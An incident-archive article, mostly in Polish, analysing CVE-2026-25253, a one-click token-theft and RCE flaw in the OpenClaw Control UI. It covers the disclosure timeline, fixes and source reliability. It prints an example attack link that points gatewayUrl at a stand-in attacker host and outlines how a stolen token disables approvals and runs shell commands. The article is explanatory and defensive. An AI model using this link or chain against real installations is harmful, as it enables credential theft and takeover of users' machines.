Abstrakcyjna granatowa ilustracja redakcyjna: okno przeglądarki po lewej ciągnie za sobą świecącą wstęgę ciągu zapytania, która zakręca przez ciemną przerwę do bursztynowego węzła tokena, a cienka linia od tokena biegnie dalej do osobnego punktu końcowego po prawej. Jedynym tekstem jest mała etykieta o treści „CIĄG ZAPYTANIA > TOKEN > BRAMA”. Bez ludzi, bez logo.
AI Safety Incidents

Przejęcie WebSocket w interfejsie OpenClaw Control UI: jeden link do RCE

Autor

Gideon Frost

Data publikacji

Najnowsze modele · 20Zobacz wszystkie modele →
Benchmarki: Artificial Analysis · aktualizowane codziennie
Powrót do wszystkich wpisów

29 stycznia 2026 r. firma zajmująca się bezpieczeństwem Ethiack opublikowała swój opis luki w OpenClaw, open source'owym osobistym agencie AI, który działa na maszynie użytkownika i jest sterowany z panelu przeglądarkowego o nazwie Control UI. Spreparowany link mógł sprawić, że ten panel przekazywał atakującemu token uwierzytelniający bramy, a wraz z nim możliwość uruchamiania poleceń powłoki jako zalogowany użytkownik. CVE-2026-25253 pojawiło się 1 lutego 2026 r., a dzień później własne ostrzeżenie projektu; oba oceniały lukę na 8,8 — wysoki. Każde wdrożenie, w którym ktoś zalogował się do Control UI, było objęte zakresem, w tym instancje osiągalne wyłącznie przez loopback. Żadne źródło czytane na potrzeby tego artykułu nie odnotowuje wykorzystania luki przeciwko rzeczywistemu użytkownikowi. Archiwum klasyfikuje ten epizod jako incydent infrastrukturalny o wysokiej wadze, z oceną pewności B i datą z dokładnością do dnia 29 stycznia 2026 r., obok innych swoich wpisów dotyczących bezpieczeństwa agentów w Orca AI Incident Archive.

Co zrobił Control UI z adresem URL

OpenClaw to samodzielnie hostowany agent, do którego użytkownicy docierają przez aplikacje do przesyłania wiadomości i panel internetowy, i który działa z tym, co w artykule Ethiack nazwano „pełnym dostępem do systemu”. Projekt był już więcej niż raz przemianowywany, nosząc nazwy Clawdbot i Moltbot przed OpenClaw, a w rejestrze npm openclaw widnieje jako pakiet utworzony 29 stycznia 2026 o 11:08 UTC. Panel to element, który ma tu znaczenie: przechowywał token bramy w pamięci przeglądarki i to w nim tkwiła luka.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Dwa fakty dotyczące przeglądarek zamieniają ten wyciek w przejęcie. Przeglądarki nie stosują polityki tego samego pochodzenia do połączeń WebSocket tak jak do zwykłych żądań HTTP, a brama nie weryfikowała nagłówka Origin podczas przejścia na WebSocket, więc JavaScript na stronie odwiedzonej przez ofiarę mógł otworzyć gniazdo bezpośrednio do ws://localhost:18789 (depthfirst, 1 lutego 2026). Ponieważ połączenie wychodzące nawiązuje przeglądarka ofiary, atak docierał do bram powiązanych z interfejsem loopback i niewidocznych z sieci. „Ta luka jest wykorzystywana nawet w instancjach skonfigurowanych do nasłuchiwania wyłącznie na loopback, ponieważ połączenie wychodzące inicjuje przeglądarka ofiary” — czytamy w komunikacie doradczym projektu. Ethiack odnotował wówczas jeszcze jeden warunek: testowana stabilna kompilacja Chrome nie zawierała domyślnie uprawnienia Local Network Access, więc przeglądarka również nie wyświetlała żadnego monitu.

Co daje skradziony token, to reszta historii. Miał zakresy operator.admin i operator.approvals. Dzięki nim atakujący mógł wyłączyć zatwierdzenia wykonania, ustawiając exec.approvals.set na "off", przenieść host wykonania poza kontener, ustawiając tools.exec.host na "gateway", a następnie uruchomić polecenia powłoki na hoście poprzez node.invoke / system.run żądanie (depthfirst, 1 lutego 2026; The Hacker News, 2 lutego 2026). Komunikat doradczy dostawcy podsumowuje wynik jednym zdaniem: atakujący może „modyfikować konfigurację (sandbox, polityki narzędzi) i wywoływać uprzywilejowane akcje, osiągając RCE jednym kliknięciem”.

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

Znalezione w ciągu niespełna dwóch godzin przez maszynę

Odkrycie samo w sobie było ćwiczeniem z AI. Ethiack uruchomił swojego autonomicznego agenta do testów penetracyjnych, Hackiana, na działającej instancji OpenClaw 26 stycznia 2026 r. o 13:21 UTC. Potwierdził tę lukę o 15:05 UTC, około godziny i czterdziestu minut później — i to właśnie tę liczbę Ethiack eksponuje w nagłówku swojego raportu. Firma zgłosiła ją opiekunom OpenClaw o 18:02 UTC. Następnie 27 stycznia pojawił się pull request, a poprawka trafiła do głównej gałęzi wieczorem 28 stycznia — wynika to z opublikowanej osi czasu Ethiack i historii commitów projektu.

Niezależnie do tych samych wniosków doszedł drugi zespół. Mav Levin, badacz bezpieczeństwa należący do grona założycieli depthfirst, opublikował 1 lutego 2026 r. własną analizę, pisząc, że „Zespół OpenClaw szybko zajął się zgłoszonym przeze mnie problemem i go naprawił”, oraz że ktoś inny niezależnie zgłosił ten sam błąd. W biuletynie bezpieczeństwa GitHub jako zgłaszającego wskazano DepthFirstDisclosures i wymieniono zarówno 0xacb jak i mavlevin wśród osób, które znalazły błąd. Konto 0xacb ma w profilu nazwę André Baptista, jednego z trzech współautorów analizy Ethiack, co pasuje do chronologii: pull request Ethiack dotyczący poprawki został otwarty z tego konta 27 stycznia, a commit opiekunów dziękuje mu imiennie. Żadne ze źródeł czytanych na potrzeby tego artykułu nie twierdzi, że oba wysiłki wiedziały o sobie przed publikacją, a żadne nie podważa zasług.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

Data rekordu i daty wokół niej

Archiwum datuje ten wpis na 29 stycznia 2026 r. z dokładnością do dnia, co odpowiada dniu, w którym badania Ethiack stały się publiczne. Poprawka kodu trafiła już dzień wcześniej. Oznaczone wydanie zawierające ją ukazało się we wczesnych godzinach 30 stycznia UTC, czyli wieczorem 29 stycznia czasu pacyficznego w Stanach Zjednoczonych: npm odnotowuje wersję 2026.1.29 o 04:49 UTC 30 stycznia, a wydanie na GitHubie o 05:26 UTC. Rekord CVE MITRE ma datę 1 lutego 2026 r. o 22:34 UTC, biuletyn GitHub — 2 lutego o 23:41 UTC, a The Hacker News opisał tę lukę 2 lutego.

Cytowane w rekordzie źródło, tracker incydentów agentów Permission Protocol, prowadzi własną chronologię, a jej części są opóźnione. Umieszcza wydanie z poprawką na 2026-01-29, co jest zgodne z numerem wersji, ale datuje „wczesne doniesienia” o podatności na 2026-02-12, a szerokie publiczne ujawnienie CVE-2026-25253 na 2026-02-26, z niezależnymi podsumowaniami na 2026-03-24. Dokumenty źródłowe mówią inaczej. Data 26 lutego odpowiada analizie poprawki SonicWall, opublikowanej trzy i pół tygodnia po tym, jak identyfikator już istniał, a 12 lutego przypada między dwoma opracowaniami badawczymi a analizą dostawcy, a nie przed nimi. Ostatni wiersz chronologii trackera nazywa też mechanizm „zero-click”; biuletyn dostawcy nazywa go 1-click, a każda opublikowana relacja opisuje ofiarę, która musi otworzyć link. Tam, gdzie te daty i etykiety się różnią, ten artykuł podąża za rekordem CVE, biuletynem dostawcy i dwoma opracowaniami badawczymi.

Jedno zastrzeżenie dotyczące tego źródła warto powiedzieć otwarcie. Permission Protocol sprzedaje bramkę autoryzacji, a jego wpis ujmuje incydent wokół tego, co zablokowałby jego własny produkt. Strona określa tę ocenę jako warunkową i mówi o sobie, że „źródło nie ustala wyniku zapobieżenia przez produkt”. To, co zapis oddaje trafnie, to jego sposób ujęcia: badanie było publiczne trzy dni przed powstaniem CVE, dlatego archiwum nazywa to wczesnym odkryciem wyprzedzającym CVE-2026-25253.

Co tak naprawdę zostało skrzywdzone?

Nic, o ile wynika z jakichkolwiek zapisów źródłowych. Archiwum oznacza rekord jako real_harm false i jest to spójne ze wszystkim, co opublikowano wokół niego. Belgijskie Centre for Cybersecurity wydało 2 lutego 2026 r. ostrzeżenie, w którym stwierdzono, że „obecnie nie ma dowodów, że ta luka została wykorzystana w rzeczywistych atakach”. Ani Ethiack, ani depthfirst, ani SonicWall, ani The Hacker News nie podają ofiary, przejętej instalacji ani wykradzionych danych, a żaden z nich nie podaje liczby instalacji, które były narażone. Ethiack zauważa jedynie, że istniały „tony instancji działających na publicznych serwerach” ze słabą konfiguracją, co jest wrażeniem, a nie liczbą.

To, co istnieje, to działający kod exploita. Ethiack opublikował pełny kod źródłowy exploita wraz ze swoim opisem i zademonstrował łańcuch ataku na własnej instancji. Analiza SonicWall z lutego pokazuje przechwycenie tokena „z użyciem publicznie dostępnego exploita”. 9 marca 2026 r. na GitHubie pojawiło się repozytorium proof-of-concept strony trzeciej. Publiczny kod exploita to nie to samo co eksploatacja, a flaga szkodliwości w archiwum dotyczy tej drugiej.

Jedno źródło jest luźniejsze niż pozostałe i warte zaznaczenia. Sekcja ryzyka w belgijskim dokumencie doradczym opisuje, że sam bot renderuje treść kontrolowaną przez atakującego jako wyzwalacz, co nie jest mechanizmem z dokumentu doradczego dostawcy ani z żadnego z dwóch opracowań badawczych: we wszystkich trzech przeglądarka ofiary jest wabiona do linku, a agent jest celem, a nie nośnikiem dostarczenia. Cytowalna jest jego część dotycząca wykorzystania; podsumowanie mechanizmu już nie.

Co się zmieniło i co pierwsza poprawka pozostawiła otwarte

Poprawka w 2026.1.29 dodała okno dialogowe potwierdzenia, zanim Control UI przełączy się na inny adres URL bramy. W biuletynie bezpieczeństwa projektu zmianę opisano następująco: „Po zmianie użytkownicy muszą potwierdzić nowy adres URL bramy w interfejsie użytkownika”, a plik renderujący to okno dialogowe znajduje się w tagu v2026.1.29. Podnosi to koszt ataku z jednego kliknięcia do jednego kliknięcia plus świadomego potwierdzenia. Nie usuwa to jednak leżącego u podstaw zaufania do parametru URL.

Walidacja Origin, druga połowa łańcucha, pojawiła się później. Analiza poprawek SonicWall odnotowuje, że „Późniejsze aktualizacje wdrożyły rygorystyczne kontrole walidacji origin”, wymieniając cztery sprawdzenia: odrzucanie brakującego lub nieprawidłowego nagłówka Origin; zezwalanie na host Origin zgodny z nagłówkiem Host; zezwalanie na połączenia loopback do loopback; zezwalanie na originy wymienione na skonfigurowanej liście allowedOrigins; oraz odrzucanie wszystkiego innego. Kolejność jest widoczna w kodzie źródłowym projektu w tagu v2026.1.29, gdzie handler aktualizacji WebSocket odczytuje i rejestruje nagłówek Origin, nie stosując do niego żadnej polityki.

Inne odpowiedzi dotyczyły wykrywania, a nie kodu. SonicWall wydał sygnaturę IPS 21908 dla czegoś, co nazywa ekspozycją danych wrażliwych OpenClaw. depthfirst zalecał aktualizację i rotację tokena bramy, jeśli podejrzewano ekspozycję, co wynika bezpośrednio z mechanizmu: skradziony token pozostaje ważny, dopóki ktoś go nie zmieni.

Co jest ustalone, a co nie

Ustalono na podstawie dokumentów źródłowych: podatna ścieżka kodu odczytywała gatewayUrl z ciągu zapytania i łączyła się automatycznie bez walidacji; ramka połączenia przenosiła zapisany token; brama nie weryfikowała pochodzenia WebSocket, więc przeglądarka na dowolnej stronie mogła dotrzeć do interfejsu loopback; token miał uprawnienia administratora i zatwierdzania; dotyczyło to wersji przed 2026.1.29; a dwa zespoły niezależnie odkryły tę lukę, w tym jeden autonomiczny agent działający z zewnątrz.

Nie ustalono: czy ktokolwiek to wykorzystał, ile instalacji było wówczas osiągalnych i czy samo okno potwierdzenia powstrzymałoby zdeterminowanego atakującego. Ocena B przyznana przez archiwum odzwierciedla bazę cytowań opartą na jednym wtórnym trackerze, a nie jakiekolwiek wątpliwości co do mechaniki, a wpis nie jest oznaczony jako sporny. Te mechanizmy są potwierdzone przez komunikat dostawcy, wpis CVE w MITRE oraz dwa niezależne opracowania badawcze, co stanowi więcej, niż sam wpis twierdzi sam w sobie.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

Jednolinijkowe podsumowanie archiwum nazywa to wczesnym odkryciem przed CVE-2026-25253 i tak właśnie należy czytać ten wpis: zapis usterki znalezionej, zgłoszonej i naprawionej, zanim miała identyfikator, w produkcie zbudowanym do uruchamiania poleceń na maszynie, na której działa. Kolejne CVE opisuje te same trzy zachowania — parametr zapytania, niewywołane połączenie i token w uzgadnianiu — a żadne źródło czytane na potrzeby tego tekstu nie umieszcza nikogo po drugiej stronie tego połączenia.